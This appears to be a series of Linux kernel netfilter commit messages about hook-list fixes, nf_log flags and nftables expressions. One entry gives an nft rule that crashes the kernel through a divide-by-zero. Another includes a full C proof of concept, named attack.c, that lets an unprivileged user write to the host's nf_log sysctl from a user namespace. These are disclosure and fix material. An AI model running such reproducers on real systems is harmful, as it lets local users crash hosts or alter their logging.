Use the correct pattern for singly linked list insertion and
deletion.  We can also calculate the list head outside of the
mutex.

Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Reviewed-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: David S. Miller <davem@davemloft.net>

net/netfilter/core.c | 108 ++++++++++++++++-----------------------------------
 1 file changed, 33 insertions(+), 75 deletions(-)

After I input the following nftables rule, a panic happened on my system:
  # nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second

  divide error: 0000 [#1] SMP
  [ ... ]
  RIP: 0010:[<ffffffffa059035e>]  [<ffffffffa059035e>]
  nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit]
  Call Trace:
  [<ffffffffa05721bb>] nft_do_chain+0xfb/0x4e0 [nf_tables]
  [<ffffffffa044f236>] ? nf_nat_setup_info+0x96/0x480 [nf_nat]
  [<ffffffff81753767>] ? ipt_do_table+0x327/0x610
  [<ffffffffa044f677>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat]
  [<ffffffffa058b21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4]
  [<ffffffff816f4aa2>] nf_iterate+0x62/0x80
  [<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
  [<ffffffff81703d0d>] __ip_local_out+0xcd/0xe0
  [<ffffffff81701d90>] ? ip_forward_options+0x1b0/0x1b0
  [<ffffffff81703d3c>] ip_local_out+0x1c/0x40

This is because divisor is 64-bit, but we treat it as a 32-bit integer,
then 0xf00000000 becomes zero, i.e. divisor becomes 0.

Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
                err(1, "unable to open thing");
        if (write(fd, buf, strlen(buf)) != strlen(buf))
                err(1, "unable to write thing");
        close(fd);
}

int child_fn(void *p_) {
        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                  NULL))
                err(1, "mount");

        /* Yes, we need to set the maps for the net sysctls to recognize us
         * as namespace root.
         */
        char buf[1000];
        sprintf(buf, "0 %d 1\n", (int)outer_uid);
        writefile("/proc/1/uid_map", buf);
        writefile("/proc/1/setgroups", "deny");
        sprintf(buf, "0 %d 1\n", (int)outer_gid);
        writefile("/proc/1/gid_map", buf);

        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
        if (stolen_fd == -1)
                err(1, "open nf_log");
        return 0;
}

int main(void) {
        outer_uid = getuid();
        outer_gid = getgid();

        int child = clone(child_fn, child_stack + sizeof(child_stack),
                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
        if (child == -1)
                err(1, "clone");
        int status;
        if (wait(&status) != child)
                err(1, "wait");
        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                errx(1, "child exit status bad");

        char *data = "NONE";
        if (write(stolen_fd, data, strlen(data)) != strlen(data))
                err(1, "write");
        return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.

Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

Division of 64bit integers will cause linker error undefined reference
to `__udivdi3'. Fix this by replacing divisions with div64_64

Fixes: 11d5f15723c9 ("netfilter: xt_hashlimit: Create revision 2 to ...")
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Acked-by: Maciej Żenczykowski <maze@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle
the request for registration properly by dropping the hook.  This
releases the entry during the set.

Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

It's possible for nf_hook_entry_head to return NULL.  If two
nf_unregister_net_hook calls happen simultaneously with a single hook
entry in the list, both will enter the nf_hook_mutex critical section.
The first will successfully delete the head, but the second will see
this NULL pointer and attempt to dereference.

This fix ensures that no null pointer dereference could occur when such
a condition happens.

Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

Conflicts:
	net/netfilter/core.c
	net/netfilter/nf_tables_netdev.c

Resolve two conflicts before pull request for David's net-next tree:

1) Between c73c24849011 ("netfilter: nf_tables_netdev: remove redundant
   ip_hdr assignment") from the net tree and commit ddc8b6027ad0
   ("netfilter: introduce nft_set_pktinfo_{ipv4, ipv6}_validate()").

2) Between e8bffe0cf964 ("net: Add _nf_(un)register_hooks symbols") and
   Aaron Conole's patches to replace list_head with single linked list.

Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

nf_log is used by both nftables and iptables, so use XT_LOG_XXX macros
here is not appropriate. Replace them with NF_LOG_XXX.

Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

NFTA_LOG_FLAGS attribute is already supported, but the related
NF_LOG_XXX flags are not exposed to the userspace. So we cannot
explicitly enable log flags to log uid, tcp sequence, ip options
and so on, i.e. such rule "nft add rule filter output log uid"
is not supported yet.

So move NF_LOG_XXX macro definitions to the uapi/../nf_log.h. In
order to keep consistent with other modules, change NF_LOG_MASK to
refer to all supported log flags. On the other hand, add a new
NF_LOG_DEFAULT_MASK to refer to the original default log flags.

Finally, if user specify the unsupported log flags or NFTA_LOG_GROUP
and NFTA_LOG_FLAGS are set at the same time, report EINVAL to the
userspace.

Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

Inverse ranges != [a,b] are not currently possible because rules are
composites of && operations, and we need to express this:

	data < a || data > b

This patch adds a new range expression. Positive ranges can be already
through two cmp expressions:

	cmp(sreg, data, >=)
	cmp(sreg, data, <=)

This new range expression provides an alternative way to express this.

Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>